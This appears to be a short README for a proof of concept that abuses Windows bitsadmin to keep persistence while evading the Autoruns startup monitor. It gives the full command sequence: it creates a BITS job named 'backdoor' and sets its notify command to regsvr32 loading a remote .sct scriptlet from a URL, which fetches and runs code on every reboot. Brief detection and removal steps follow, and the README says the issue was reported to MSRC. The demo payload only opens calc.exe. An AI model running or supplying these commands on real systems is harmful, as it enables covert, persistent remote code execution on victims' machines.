/bitsadminexec

Use bitsadmin to maintain persistence and bypass Autoruns

bitsadminexec

Use bitsadmin to maintain persistence and bypass Autoruns

Report to MSRC.

Author: 3gstudent@3gstudent

License: BSD 3-Clause

POC

(1) First we should have the administrator's right.

(2) Then run this on cmd with administrator's right:

bitsadmin /create backdoor
bitsadmin /addfile backdoor %comspec%  %temp%\cmd.exe
bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe "/u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll"
bitsadmin /Resume backdoor

(3) Then it will run the following command to start a calc.exe:

regsvr32.exe "/u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll

(4) What's more,after we restart the system,the command to start a calc.exe runs again and again.

Impact of the issue

Autoruns's startup monitor can't find this.

Test success on Win7 、Win8、Server 2008 and so on.

Detect

Run this to check the jobs and delete it:

bitsadmin /list /allusers /verbose

or

Stop Background Intelligent Transfer Service

More deatils:

http://drops.wooyun.org/tips/15692

《Use bitsadmin to maintain persistence and bypass Autoruns》